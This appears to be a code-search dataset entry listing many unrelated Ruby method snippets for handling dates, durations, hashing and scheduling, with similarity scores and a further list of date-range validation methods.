"def participation_by_year\n year = @pupil_enrollment.map { |hash| hash.fetch(:timeframe).to_i }\n data = @pupil_enrollment.map { |hash| hash.fetch(:data) }\n Hash[year.zip(data.map { |num| truncate(num) })]\n end",
"def get_program_hash\n program = {:max_roomslots => 0, :days => []}\n\n prev_start = Date.new(1970,01,01)\n start = nil\n day = nil\n room_count = 0\n Timeslot.all.each do |t|\n\n if(t.start.to_date > prev_start.to_date)\n day = {:starts => [], :date => t.start.to_date}\n program[:days].push(day)\n end\n\n if t.start > prev_start\n prev_start = t.start\n \n start[:room_count] = room_count if start\n start = {:timeslots => [], :start => t.start, :room_count => 0}\n \n day[:starts].push(start)\n \n if program[:max_roomslots] < room_count\n program[:max_roomslots] = room_count\n end\n room_count = 0\n end\n\n start[:timeslots].push(t)\n room_count += t.roomslot.size\n end\n\n start[:room_count] = room_count\n if program[:max_roomslots] < room_count\n program[:max_roomslots] = room_count\n end\n\n program\n end",
"def to_h\n {\n name: @name,\n start: @start_time,\n end: @end_time,\n duration: duration\n }\n end",
"def build_hash hash, date, worked_hours, departur_hour\n hash[\"#{date.strftime(\"%F\")}\"] = {total: worked_hours, arrival_hour: date, departur_hour: departur_hour}\n hash[:total_worked] += worked_hours\n hash[:total_days] += 1\n return hash\n end",
"def build_buckets(unit=:all, step=1)\n\t\thour = 60 * 60\n\t\tday = 24 * hour\n\n\t\tif step.nil?\n\t\t\tstep = 1\n\t\tend\n\n\t\tif unit.nil?\n\t\t\tunit = :all\n\t\tend\n\n\t\tbuckets = []\n\n\t\tcase unit\n\t\twhen :all\n\t\t\tbuckets << {start_date: time_frame.start_date, end_date: time_frame.end_date, objects: []}\n\n\t\twhen :year\n\t\t\tyear = time_frame.start_date.year\n\t\t\tbucket_start = Time.mktime(year, 1, 1)\n\t\t\twhile bucket_start < time_frame.end_date\n\t\t\t\tbucket_end = Time.mktime(year+=step, 1, 1)\n\t\t\t\tbuckets << {start_date: bucket_start, end_date: bucket_end, objects: []}\n\t\t\t\tbucket_start = bucket_end\n\t\t\tend\n\n\t\twhen :month\n\t\t\tmonth = time_frame.start_date.mon\n\t\t\tyear = time_frame.start_date.year\n\t\t\tbucket_start = time_frame.start_date\n\t\t\twhile bucket_start < time_frame.end_date\n\t\t\t\tbucket_start = Time.mktime( year, (month) )\n\n\t\t\t\tmonth+=step\n\t\t\t\tif (month-12) > 0\n\t\t\t\t\tyear += 1\n\t\t\t\t month = month-12\n\t\t\t\tend\n\n\t\t\t\tbucket_end = Time.mktime(year, (month) )\n\t\t\t\tbuckets << {start_date: bucket_start, end_date: bucket_end, objects: []}\n\t\t\tend\n\n\t\twhen :day\n\t\t\tbucket_start = Time.mktime(time_frame.start_date.year, time_frame.start_date.mon, time_frame.start_date.day)\n\t\t\twhile bucket_start < time_frame.end_date\n\t\t\t\tbucket_end = Time.at( bucket_start.to_i + step*day )\n\t\t\t\tbuckets << {start_date: bucket_start, end_date: bucket_end, objects: []}\n\t\t\t\tbucket_start = bucket_end\n\t\t\tend\n\n\t\twhen :hour\n\t\t\tbucket_start = Time.mktime(time_frame.start_date.year, time_frame.start_date.mon, time_frame.start_date.day, time_frame.start_date.hour)\n\t\t\twhile bucket_start < time_frame.end_date\n\t\t\t\tbucket_end = Time.at( bucket_start.to_i + step*hour )\n\t\t\t\tbuckets << {start_date: bucket_start, end_date: bucket_end, objects: []}\n\t\t\t\tbucket_start = bucket_end\n\t\t\tend\n\t\tend\n\n\t\tbuckets.first[:start_date] = time_frame.start_date\n\t\tbuckets.last[:end_date] = time_frame.end_date\n\n\t\treturn buckets\n\tend",
"def hash\n [calendar_type, deleted_instance_dates, end_date, end_type, exceptions, frequency, modified_instance_dates, occurrence_count, pattern_type, period, sliding_flag, start_date, week_start_day, discriminator, day_of_week].hash\n end",
"def occurrences(period_from, period_to)\n schedule = IceCube::Schedule.from_hash(settings)\n occurances = schedule.occurrences_between(period_from, period_to)\n occurances.map do |occ_date|\n {\n id: id,\n title: title,\n user: user,\n occurance_date: occ_date\n }\n end\n end",
"def hash_days_number year\n hash = { 1 => 31, 2 => 28, 3 => 31, 4 => 30, 5 => 31, 6 => 30,\n 7 => 31, 8 => 31, 9 => 30, 10 => 31, 11 => 30, 12 => 31 }\n\n hash[2] = 29 if leap? year\n hash\nend",
"def scheduled_activities(validity=:sa_content)\n # TODO: how to memoize with proper cache invalidation?\n days = schedule(validity)['days']\n return {} unless days\n days.inject({}) do |index, (day, day_value)|\n day_value['activities'].each do |row|\n sa = Psc::ScheduledActivity.from_schedule(row)\n\n index[sa.id] = sa\n end\n index\n end\n end",
"def divide_tweets_per_month(tweets)\n result = {};\n\n # Initialize the hash to 0\n today = DateTime.now.to_date\n (0..5).to_a.reverse.each do |i|\n date = today.beginning_of_month - i.month\n\n result[date.beginning_of_month] = 0\n end\n\n # For each tweet add 1 to the number of tweets in the correct month\n tweets.each do |tweet|\n tweet_date = tweet.created_at.to_date\n\n result[tweet_date.beginning_of_month] += 1\n end\n\n return result\n end",
"def compatability_hash(day,time_block)\n { :day_of_week => day, :start_time => time_block.start_time, :end_time => time_block.end_time }\n end",
"def hours_in_a_year\n return 365.25 * 24\nend",
"def get_activity_spent_time\n datetime_start = Datetime.get_opened_one(current_user).start\n activity_spent_seconds = Time.now - datetime_start\n [ activity_spent_seconds.to_i / 3600, activity_spent_seconds.to_i / 60 % 60 ].map{ |t| t.to_s.rjust(2, '0') }.join(':')\n end",
"def hash\n [date, net_asset_value, beta_vs_spy, trailing_one_month_return_split_and_dividend, trailing_one_month_return_split_only, trailing_one_year_return_split_and_dividend, trailing_one_year_return_split_only, trailing_one_year_volatility_annualized, trailing_three_year_annualized_return_split_and_dividend, trailing_three_year_annualized_return_split_only, trailing_three_year_volatility_annualized, trailing_five_year_annualized_return_split_and_dividend, trailing_five_year_annualized_return_split_only, trailing_five_year_volatility_annualized, trailing_ten_year_annualized_return_split_and_dividend, trailing_ten_year_annualized_return_split_only, inception_annualized_return_split_and_dividend, inception_annualized_return_split_only, calendar_year_5_return_split_and_dividend, calendar_year_5_return_split_only, calendar_year_4_return_split_and_dividend, calendar_year_4_return_split_only, calendar_year_3_return_split_and_dividend, calendar_year_3_return_split_only, calendar_year_2_return_split_and_dividend, calendar_year_2_return_split_only, calendar_year_1_return_split_and_dividend, calendar_year_1_return_split_only, calendar_year_to_date_return_split_and_dividend, calendar_year_to_date_return_split_only, etf].hash\n end",
"def year_calculations\n\t\t@prev_beg_range = @beg_range.to_date.beginning_of_year.prev_year\n\t\t@prev_end_range = @beg_range.to_date.beginning_of_year-1.day\n\t\t@next_beg_range = @beg_range.to_date.next_year.beginning_of_year\n\t\t@next_end_range = @beg_range.to_date.next_year.end_of_year\n\tend",
"def hours_in_year\n 24 * 365\nend",
"def occurrence_hash(default_duration) # :nodoc:\n {:start => self, :end => (default_duration ? self + default_duration : nil)}\n end",
"def hash\n [@start_transition, @end_transition].hash\n end",
"def age_parts(in_seconds)\n\n parts = Hash.new\n factors = [[:years, 31557600],\n [:months, 2629800],\n [:days,86400],\n [:hours, 3600],\n [:minutes,60],\n [:seconds,1]]\n factors.collect do |unit, factor|\n value, in_seconds = in_seconds.divmod(factor)\n parts[unit] = value\n end\n\n return parts\n end",
"def hash\n [digits, refresh_interval].hash\n end",
"def freq_intercommit_durations events\n events.map(&:date).sort\n .uniq\n .each_cons(2)\n .map {|before,after| (after.to_i - before.to_i) / 60 }\n .freq_by { |e| e / 5}\n .select {|e| e[0] <= 12 * 8 }\nend",
"def stats_to_hash\n {\n views_count: views,\n views_till_end_count: views_till_end,\n sum_view_time_sec: sum_view_time_sec,\n comments_count: comments,\n }\n end",
"def duration; ((endtime()- starttime()) / 60).to_i; end",
"def get_cycle_times(issues)\n cycle_times = Hash.new\n issue_status_changes = Hash.new\n\n #get issue change log sets\n issues.select { |issue| issue[:issue_data][\"fields\"][\"status\"][\"name\"] == \"Resolved\" }.each do |issue|\n key = issue[:issue_data][\"key\"]\n issue_status_changes[key] = []\n\n issue[:issue_data][\"changelog\"][\"histories\"].each do |history|\n\n history[\"items\"].select { |item| item[\"field\"] == \"status\" }.each do |status_history|\n history_created = DateTime.parse(history[\"created\"])\n issue_status_changes[key] << history_created \n end\n end\n\n start_date = issue_status_changes[key].min\n end_date = issue_status_changes[key].max\n\n cycle_times[key] = ((end_date - start_date) * 24 * 60).floor\n end\n \n cycle_times\nend",
"def sectoral_time_frac(t,interval_duration)\n @sec_prf.collect do |prf|\n h_season = prf[:hourly].keys.include?(:annual) ? :annual : season(t.yday)\n d_season = prf[:daily].keys.include?(:annual) ? :annual : season(t.yday)\n monthly_fraction = prf[:monthly][t.month-1]\n weeks_in_month = weeks_in_month(t.month, t.year)\n daily_fraction = prf[:daily][d_season][t.wday] / weeks_in_month\n hourly_fraction = prf[:hourly][h_season][t.hour-1]\n duration = interval_duration / 3600.0\n hourly_fraction * daily_fraction * monthly_fraction * duration\n end\n end",
"def gen_stats\n object_stats = {}\n object.gen_stats.each do |stat|\n object_stats[stat.as_json['start_year']] = stat.as_json.except('school_id', 'created_at', 'updated_at', 'start_year')\n end\n object_stats\n end",
"def hash\n [calendar_name, description, name, next_fire_time, previous_fire_time, state].hash\n end",
"def years ; Duration[self * 365 * 86400, :years] ; end",
"def hash\n [date, intraperiod, frequency, open, high, low, close, volume, adj_open, adj_high, adj_low, adj_close, adj_volume, factor, split_ratio, dividend, change, percent_change, fifty_two_week_high, fifty_two_week_low, security].hash\n end",
"def hash\n @offset.hash ^ @previous_offset.hash ^ @numerator_or_time.hash ^ @denominator.hash\n end",
"def index\n @histories = History.where(fandom_id: params[:fandom_id]).order(event_date: :desc)\n \n hash = {}\n @histories.unscope(:order).order(event_date: :asc).each do |history|\n hash[history.event_date.year.to_s.to_sym] = history.event_date.strftime('%F')\n end\n @years_hash = hash.to_a.reverse.to_h\n end",
"def to_years; Rational === @val ? @val/12 : @val/12.0 end",
"def index\n @events = Event.where('event_start >= ?', Date.today).order(:event_start, :time_begin)\n @date_events_hash = @events.group_by(&:event_start)\n end",
"def hash\n [agreement_date, autopay_status, contract_name, end_date, id, origination_location_id, start_date, site_id, upcoming_autopay_events].hash\n end",
"def total(entries)\n seconds = entries.inject(0) { |sum, entry| sum + (entry[:end] - entry[:start]) }\n hours = seconds / 3600\nend",
"def get_tweet_counts_per_frequency(freq, tweet_name, start_time, end_time)\n s = @hash[tweet_name].bsearch_index { |ele| ele >= start_time }\n arr = (0..(end_time - start_time)/FREQ[freq]).map { 0 }\n return arr if s.nil?\n t = (@hash[tweet_name].bsearch_index { |ele| ele > end_time } || @hash[tweet_name].size) - 1\n return arr if s > t\n @hash[tweet_name][s..t].each do |time|\n tmp = (time - start_time) / FREQ[freq]\n arr[tmp] += 1\n end\n arr\n end",
"def get_occurrences(start_date, interval, end_date)\n\n start_date = Date.new(start_date.year,start_date.month,start_date.mday)\n end_date = Date.new(end_date.year,end_date.month,end_date.mday)\n raise ArgumentError, \"Start date (#{start_date}) should be less than or equal to end date (#{end_date})\" if (start_date>end_date)\n\n i_length, i_unit = parse_interval(interval)\n\n if i_length == 0.5 && ![:m, :y].include?(i_unit)\n raise ArgumentError, \"Semi- interval is not supported to this units (#{i_unit.to_s})\"\n end\n\n new_interval = case i_unit\n when :d then {:length=>i_length, :unit=>:days}\n when :w then {:length=>i_length*7, :unit=>:days}\n when :m then {:length=>i_length, :unit=>:months}\n when :y then {:length=>i_length*12, :unit=>:months}\n end\n\n if new_interval[:unit] == :days\n new_occurrences = 1 + ((end_date - start_date)/new_interval[:length]).to_i\n elsif new_interval[:unit] == :months\n new_occurrences = 1 + (months_between(end_date, start_date)/new_interval[:length]).to_i \n end\n return new_occurrences\n end",
"def hash\n [denominator, interval, message, numerator, query, res_type, resp_version, times].hash\n end",
"def age(from_dt)\n to_dt = Time.current\n\n total_seconds = (to_dt - from_dt).to_i\n seconds = total_seconds\n if total_seconds > SECONDS_IN_YEAR\n years = seconds / SECONDS_IN_YEAR\n seconds -= (years * SECONDS_IN_YEAR)\n end\n if total_seconds > SECONDS_IN_DAY\n days = seconds / SECONDS_IN_DAY\n seconds -= (days * SECONDS_IN_DAY)\n end\n if total_seconds > SECONDS_IN_HOUR\n hours = seconds / SECONDS_IN_HOUR\n seconds -= (hours * SECONDS_IN_HOUR)\n end\n if total_seconds > SECONDS_IN_MINUTE\n minutes = seconds / SECONDS_IN_MINUTE\n seconds -= (minutes * SECONDS_IN_MINUTE)\n end\n return {years: years, days: days, hours: hours, minutes: minutes, seconds: seconds}\n end",
"def grouped_by_interval( range )\n grouped = Hash.new {|h,k| h[k] = [] }\n all.each { |r| r.period_in_seconds.step( range ) { |i| grouped[i/(range)] << r } }\n grouped\n end",
"def drinking_hash(rundate, divisor)\n # Validate\n raise ArgumentError, 'Cannot predict future' if rundate > Date.today\n num = magic_number(rundate - 7)\n result = (num % divisor.to_i).zero?\n # return a hash\n { result: result, magic_number: num, divisor: divisor }\n end",
"def commit_time_line events\n events.map(&:date).uniq.sort.each_cons(2).map {|before,after| [before, (after.to_i - before.to_i) / (60 * 60 * 24)] }\nend",
"def aggregate_time_entries(entries)\n result = {}\n entries.each do |entry|\n if entry.values != nil\n p6activity = entry.task.p6_activity\n if !p6activity.nil?\n if !result.has_key?(p6activity)\n result[p6activity] = 0.0\n end\n entry.values.each do |value|\n result[p6activity] += value.hours.to_f\n end\n end\n end\n end\n result\n end",
"def years_of_service(period=nil)\n # TODO: need a real general purpose date diff by year\n # function since this is likely needed in multiple places.\n return 0 if contract_start.nil?\n period = Period.current if period.nil?\n\n if (period.finish > contract_start)\n tmp_date = period.finish\n count = 0\n while (tmp_date.prev_year >= contract_start.to_date)\n tmp_date = tmp_date.prev_year\n count += 1\n end\n\n count\n else\n 0\n end\n end",
"def hash\r\n @offset.hash ^ @previous_offset.hash ^ @numerator_or_time.hash ^ @denominator.hash\r\n end",
"def returnTimeHash(startTime,endTime)\r\n dataHash = {:idle=>0,:away=>0,:answered=>0,:incoming=>0,:outgoing=>0,:wrapup=>0, :avail=>0}\r\n objectsinrange = self.availabilities.find_all_by_event_date(startTime..endTime, :select=>'event_type,event_duration')\r\n for hit in objectsinrange\r\n sET = hit.event_type\r\n sED = hit.event_duration\r\n if (sET.include?(\"Click\") or sET.include?(\"OUTBOUND\")) then dataHash[:outgoing] += sED end\r\n if (sET.include?(\"Available\")) then dataHash[:idle] += sED end\r\n if (sET.include?(\"Wrap\")) then dataHash[:wrapup] += sED end\r\n if (sET.include?(\"Answered\")) \r\n dataHash[:incoming] += sED\r\n dataHash[:answered] += 1\r\n end\r\n if (sET.include?(\"Away\")) then dataHash[:away] += sED unless (sET.include?(\"Click\") or sET.include?(\"OUTBOUND\")) end \r\n end\r\n dataHash[:avail] = dataHash[:idle] + dataHash[:incoming] + dataHash[:outgoing] + dataHash[:wrapup]\r\n return dataHash\r\n end",
"def compute_yearwise(incomes_or_deductions)\n income_deduction_per_year = Hash.new(0)\n\n incomes_or_deductions.each do |income_deduction|\n working_days_in_year = Float(52*5)\n daily_income = 0\n\n case income_deduction.frequency\n when \"daily\"\n daily_income = income_deduction.amount_in_cents\n when \"weekly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/52)\n when \"biweekly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/26)\n when \"monthly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/12)\n when \"quarterly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/4)\n when \"half_yearly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/2)\n when \"yearly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year)\n end\n\n income_deduction.start_date = TimeKeeper.date_of_record.beginning_of_year if income_deduction.start_date.to_s.eql? \"01-01-0001\" || income_deduction.start_date.blank?\n income_deduction.end_date = TimeKeeper.date_of_record.end_of_year if income_deduction.end_date.to_s.eql? \"01-01-0001\" || income_deduction.end_date.blank?\n years = (income_deduction.start_date.year..income_deduction.end_date.year)\n\n years.to_a.each do |year|\n actual_days_worked = compute_actual_days_worked(year, income_deduction.start_date, income_deduction.end_date)\n income_deduction_per_year[year] += actual_days_worked * daily_income\n end\n end\n\n income_deduction_per_year.merge(income_deduction_per_year) { |k, v| Integer(v) rescue v }\n end",
"def get_relation_score(activities)\n current_time = Time.now.getutc\n score_val = 0\n activities.each {|activity|\n activity_type, activity_time = *activity\n months_ago = current_time.month - activity_time.month\n score_val += UsersController.get_score_val(activity_type, months_ago)\n }\n score = UsersController.get_score_from_val(score_val)\n return [current_time, score]\n end",
"def to_hash\n hash = {\n 'frequency' => frequency,\n 'day_of_week' => day_of_week\n }\n hash['start_at'] = start_at.xmlschema if start_at\n hash['end_on'] = end_on.xmlschema if end_on\n hash\n end",
"def compute_statistics_for_slice(slice)\n ret = {}\n stats = slice.statistics\n history = slice.history\n stats.each do |stat|\n k = stat.key\n k2 = \".time.#{k}\"\n t0 = Time.now\n ret[k] = stat.compute(history, memory_size)\n t1 = Time.now\n ret[k2] = (t1 - t0) if $DEBUG\n end\n ret\n end",
"def entry_duration(entry)\n (entry.scheduled_datetime - entry.completed_datetime) / 1.hour\n end",
"def hash\n @offset.hash ^ @previous_offset.hash ^ @numerator_or_time.hash ^ @denominator.hash\n end",
"def utilisation(start_date = 1.month.ago, end_date = Date.today)\n all_timings = timings.submitted_timings.where(started_at: start_date...end_date)\n .joins(:task)\n\n external_tracked_time = all_timings.where(tasks: { count_towards_time_worked: true })\n .where(clients: { internal: false })\n .joins(project: :client)\n .sum(&:duration_minutes)\n .to_f\n\n total_tracked_time = all_timings.sum(&:duration_minutes).to_f\n\n ((external_tracked_time / total_tracked_time) * 100.0).round(2)\n end",
"def hash\n [occurred_at, carrier_occurred_at, description, city_locality, state_province, postal_code, country_code, company_name, signer, event_code, latitude, longitude].hash\n end",
"def minutes_per_year\n 365 * 24 * 60\nend",
"def get_worked_hours start_time, end_time\n start_time = DateTime.new(start_time.year, start_time.month, start_time.day, start_time.hour, start_time.min, start_time.sec)\n end_time = DateTime.new(end_time.year, end_time.month, end_time.day, end_time.hour, end_time.min, end_time.sec)\n hours_diff = ((end_time.to_time - start_time.to_time) / 1.hours ).round(2)\n hours_diff *= -1 if hours_diff < 0\n return hours_diff\n end",
"def start_end(interval = self.class.interval)\n {\n start: (timestamp.at_end_of_year + 1.second - self.class.interval).at_beginning_of_year.utc,\n end: timestamp.at_end_of_year.utc\n }\n end",
"def year_metrics(metrics = [])\n metric_hash = {}\n\n metrics.each do |metric|\n if metric_hash[metric[:year]].present?\n metric_hash[metric[:year]] += metric[:metric]\n else\n metric_hash[metric[:year]] = metric[:metric]\n end\n end\n\n metric_hash\n end",
"def work_per_month(ary_work)\n nary = ary_work.group_by{ |t| \n t[:date] \n }.transform_values { |tasks|\n tasks.reduce(0) { |sum, t|\n sum + t[:time] \n }\n }.to_a.group_by { |e|\n e[0][0..6]\n }.transform_values { |tasks|\n tasks.reduce(0) { |sum, t|\n sum + t[1] \n } / tasks.length\n }\nend",
"def to_h\n @to_h ||= {\n # era: era, # todo\n year: year,\n quarter: quarter,\n month: month,\n cweek: week,\n day: day,\n day_of_year: day_of_year,\n week_day: week_day,\n cycle: cycle,\n year_of_week: year_of_week,\n }.freeze\n end",
"def time_histogram(time_bin,object_array)\n binned = Hash.new(0)\n p = Proc.new { |date|\n case time_bin\n when :day_of_month then date.strftime(\"%d\")\n when :day_of_week then date.strftime(\"%A\")\n when :time_of_day then date.strftime(\"%H\")\n else \n nil\n end\n }\n \n object_array.each { |v| \n date = yield v\n if date and bin = p.call(date) \n binned[bin] += 1\n end\n } \n binned\n end",
"def hash\n [event_count, hour, index_id, index_name, org_name, public_id, retention].hash\n end",
"def start_year\n Time.now.year - 75\n end",
"def hash\n [from, timezone, to].hash\n end",
"def get_years_to_date_collection\n (get_system_asset_starting_year..Date.today.year).to_a\n end",
"def to_hash\n {\n :time => @time,\n :event => @event\n }\n end",
"def get_begin_date\n get_end_date.prev_year\n end",
"def period_in_seconds\n (start_time.to_i..end_time.to_i)\n end",
"def stats_by_date from_date, to_date\n events_by_date = campaign_finance_transactions.group(:sub_type)\n .select(:sub_type)\n .group(:transaction_date)\n .select(:transaction_date)\n .sum(:amount)\n\n types = campaign_finance_transactions.select(:sub_type).uniq.pluck(:sub_type)\n\n (from_date..to_date).map{ |date|\n {\n date: date,\n }.merge(\n types.reduce(Hash.new) {|hash, type|\n hash[type.to_sym] = events_by_date[[type, date]]\n hash\n }\n )\n }\n end",
"def duration\n @end_date - @begin_date\n end",
"def get_tweet_counts_per_frequency(freq, tweet_name, start_time, end_time)\n case freq\n when \"minute\"\n delta = 60\n when \"hour\"\n delta = 3600\n else\n delta = 86400\n end\n\n t = Hash.new(0)\n if @tweets.key?(tweet_name)\n @tweets[tweet_name].each do |time|\n next if time < start_time || time > end_time\n t[(time - start_time) / delta] += 1\n end\n end\n\n result = []\n (0..((end_time - start_time) / delta)).each do |i|\n result.push(t[i])\n end\n\n result\n end",
"def duration\n @duration ||=\n self.starts_at && self.ends_at &&\n ((self.ends_at - self.starts_at) / 60.0 / 60.0)\n end"
] | [
"0.5908708",
"0.56408155",
"0.54809797",
"0.54439574",
"0.5361603",
"0.5255482",
"0.5215322",
"0.5178866",
"0.5133617",
"0.5124898",
"0.51215196",
"0.5097095",
"0.5075578",
"0.5063915",
"0.49913558",
"0.4982146",
"0.49511474",
"0.4950528",
"0.49494553",
"0.49253696",
"0.49173948",
"0.49099255",
"0.48469847",
"0.48433062",
"0.48390484",
"0.48334154",
"0.48133054",
"0.48131272",
"0.48006195",
"0.47893658",
"0.47737622",
"0.47709918",
"0.47701633",
"0.47357464",
"0.47355342",
"0.47343442",
"0.4731193",
"0.47212484",
"0.47203073",
"0.47084278",
"0.47005254",
"0.4693352",
"0.46912882",
"0.4686316",
"0.4681837",
"0.46774045",
"0.46709973",
"0.46669468",
"0.4658982",
"0.4657881",
"0.46546814",
"0.4645008",
"0.46431133",
"0.46421254",
"0.46384647",
"0.46346766",
"0.46128476",
"0.46024585",
"0.45831078",
"0.45821634",
"0.4573112",
"0.4571237",
"0.4568967",
"0.45510873",
"0.4551056",
"0.4545127",
"0.4543839",
"0.45434773",
"0.45396236",
"0.45388833",
"0.4532933",
"0.4532266",
"0.4532133",
"0.45261815",
"0.45188162",
"0.4510541",
"0.4509943",
"0.4505051",
"0.4502849",
"0.45012176",
"0.45001188",
"0.4493453",
"0.44924033",
"0.4490929",
"0.4489946",
"0.44881937",
"0.44877887",
"0.4478415",
"0.44755423",
"0.44671607",
"0.4466711",
"0.44637933",
"0.44629848",
"0.44574",
"0.44564185",
"0.44528714",
"0.44515067",
"0.44384018",
"0.4435301",
"0.44245678"
] | 0.8638375 | 0 |
Exclusive of the endDate, inclusive of the startDate | def update_target_duration
self.target_duration = self.endDate - self.startDate
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def range\n (start_date...end_date) #exclusive date range\n end",
"def valid_start_and_end_dates?\n return false unless start.present? && self.end.present?\n start <= self.end\n end",
"def valid_end_date\n self.end_date - self.start_date > 0 ? true : false\n end",
"def exclusive\n if exclude_end?\n self\n else\n Range.new(self.begin, self.end + 1, true)\n end\n end",
"def date_range\n @date_range ||= start_at..end_at\n end",
"def start_and_end_date_range\n unless self.start_datetime.nil? || self.end_datetime.nil?\n oldest_start_datetime = self.active_sale_events.not_blank_and_sorted_by(:start_datetime).first\n latest_end_datetime = self.active_sale_events.not_blank_and_sorted_by(:end_datetime).last\n errors.add(:start_datetime, I18n.t('spree.active_sale.event.validation.errors.invalid_root_dates')) if (oldest_start_datetime.nil? && latest_end_datetime.nil?) ? false : (self.start_datetime > oldest_start_datetime || self.end_datetime < latest_end_datetime)\n end\n end",
"def get_drs_from_range(start_date, end_date)\n self.delta_requests.select do |dr|\n begin\n dr.start_time > start_date and dr.start_time < end_date\n rescue\n false\n end\n end\n end",
"def booked_date_range\n { from: :start_date, to: :end_date }\n end",
"def available?(start_date, end_date)\n unless self.reservations.any? { |res| start_date.to_date.between?(res.checkin, res.checkout) || end_date.to_date.between?(res.checkin, res.checkout)} \n true\n end\n end",
"def overlaps?(other)\n start <= other.end_date && other.start <= self.end_date\n end",
"def active?(date=Time.now)\n date < self.end_date && date > self.start_date\n end",
"def to_range\n start_date..end_date\n end",
"def active\n today = Date.today\n before = (start_date <=> today) == 1\n after = (today <=> end_date) == 1\n\n outside_range = (before or after)\n no_dates = (start_date.nil? and end_date.nil?)\n\n (!outside_range or no_dates)\n end",
"def date_range\n errors.add(:start_date, 'can not be greater than end date') if start_date > end_date\n end",
"def date_range( start_date, end_date )\n d_range = []\n cur_date = start_date \n\n until cur_date == end_date\n d_range << cur_date\n cur_date = Calendar.next_day( cur_date )\n end\n \n d_range << end_date\n end",
"def between?(first_day, last_day)\n ((self.ends_at.to_date >= first_day) && (self.ends_at.to_date <= last_day)) || ((self.starts_at.to_date >= first_day) && (self.starts_at.to_date <= last_day))\n end",
"def conflicts_with_date?(date)\n date.between(self.start_date, self.end_date)\n end",
"def specified_period\n @range = [@start_date, @end_date]\n end",
"def extend_empty_end_date\n if self.end_date == self.start_date && !self.repeat_mode.rule.empty?\n self.end_date = Date.today + 10.year\n end\n return self\n end",
"def unavailable_date_ranges_from_today\n self.reservations\n .where('end_date > ?', Date.today())\n .where(status: [1, 5])\n .map {|item| [item.start_date, item.end_date]}\n end",
"def expand_service_range\n self.service_start_date ||= (service_except_dates + service_added_dates).min\n self.service_end_date ||= (service_except_dates + service_added_dates).max\n true\n end",
"def check_overlapping_dates\n # compare this new reservation againsts existing reservations\n if start_date.present? and end_date.present?\n listing.reservations.each do |old_reservation|\n if overlap?(self, old_reservation)\n return errors.add(:The_dates_are_not_available, \"\")\n end\n end\n end\n end",
"def to_range\n (@start_date..@end_date)\n end",
"def start_date_before_end_date\n return unless start_date && end_date\n\n errors.add(:start_date, 'can\\'t be after the end date') if start_date > end_date\n end",
"def open\n return start_date <= Time.now.to_date && end_date >= Time.now.to_date\n end",
"def between_dates(sd, es)\n return true if sd <= self.start_date && es >= self.end_date \n return false\n end",
"def reservation_dates_must_make_sense\n\t if end_date <= start_date\n\t\t errors.add(:start_date, \"has to be before the end date\")\n\t end\n\tend",
"def is_date_range?\n start_time.present? && end_time.present?\n end",
"def active?\n (start_date <= DateTime.now) and (DateTime.now <= end_date)\n end",
"def event_start_end_dates\n esdate and eedate\n end",
"def end_date_is_bigger?\n return if [endDate.blank?, startDate.blank?].any?\n\n errors.add(:base, 'The end time must be later than the start time') if endDate < startDate\n end",
"def dates_within_conference_dates\n return unless start_date && end_date && program.try(:conference).try(:start_date) && program.try(:conference).try(:end_date)\n\n errors.add(:start_date, \"can't be outside of the conference's dates (#{program.conference.start_date}-#{program.conference.end_date})\") unless (program.conference.start_date..program.conference.end_date).cover?(start_date)\n errors.add(:end_date, \"can't be outside of the conference's dates (#{program.conference.start_date}-#{program.conference.end_date})\") unless (program.conference.start_date..program.conference.end_date).cover?(end_date)\n end",
"def set_service_range\n self.service_start_date ||= (service_except_dates + service_added_dates).min\n self.service_end_date ||= (service_except_dates + service_added_dates).max\n true\n end",
"def overlaps?(another)\n (start_date - another.end_date) * (another.start_date - end_date) >= 0\n end",
"def date_range_overlap?(start_date_one, end_date_one, start_date_two, end_date_two)\n if start_date_one < end_date_two && start_date_two < end_date_one\n return true\n else\n return false\n end\n end",
"def overlaps?(other)\n\t\tself.start_date < other.end_date && other.start_date < self.end_date\n\tend",
"def overlaps(other_date_range)\n if contains(other_date_range.start_date) || contains(other_date_range.end_date)\n true\n elsif other_date_range.contains(@start_date) && other_date_range.contains(@end_date)\n true\n else\n false\n end\n end",
"def overlap(dates)\n (out_date <= dates.in_date || in_date >= dates.out_date)\n end",
"def date_range\n self.errors.add(:start_date, I18n.t('tournament.date_mismatch')) if start_date > end_date\n end",
"def exclusive!\n @inclusive = false\n end",
"def inclusive!\n @inclusive = true\n end",
"def ending_at(date)\n set_end_date_and_raise_error_if_end_is_eariler_than_start(date)\n self\n end",
"def check_date_ranges\n today = Date.today\n !!today.between?(start_date.to_date, end_date.to_date)\n end",
"def date_range\n earliest = WorkPacket.find_earliest_by_tasks( @task_ids )\n latest = WorkPacket.find_latest_by_tasks( @task_ids )\n\n # If the earliest or latest work packet value is nil, both should be\n # nil (obviously) and this means there are no work packets for the\n # tasks. In that case we just span 'all of time' so that the user\n # can see explicitly there's no booked time. Generating a report over\n # some single day range just looks odd (user thinks \"why hasn't it\n # covered all dates\"). The hide-zero-columns option can be employed\n # to clear up the report.\n\n end_of_range = latest.nil? ? Date.current : latest.date.to_date\n start_of_range = earliest.nil? ? Date.new( Timesheet.allowed_range().min, 1, 1 ) : earliest.date.to_date\n\n return ( start_of_range..end_of_range )\n end",
"def overlaps\n siblings.overlaps date, date_ended\n end",
"def expired?(range: :now)\n return false unless persisted?\n return false if cancelled? || archived? || complete?\n case range\n when :all\n !!(start_date <= Time.now && end_date <= Time.now)\n else\n !!(start_date <= Time.now)\n end\n end",
"def query_user_for_date_range\n start_date, end_date = nil\n\n # untill we have both dates\n until start_date && end_date\n puts \"\\nFirst, we need a start date:\"\n start_date = query_user_for_date\n\n puts \"\\nNext, we need an end date:\"\n end_date = query_user_for_date\n\n if !date_range_valid?(start_date, end_date)\n puts \"Let's start again!\"\n start_date = end_date = nil\n end\n end\n return start_date, end_date # retunr both values as an array\nend",
"def dates_not_same\n if start_date == end_date\n errors.add(:start_date, 'start date can not equal end date')\n errors.add(:end_date, 'end date can not equal start date')\n end\n end",
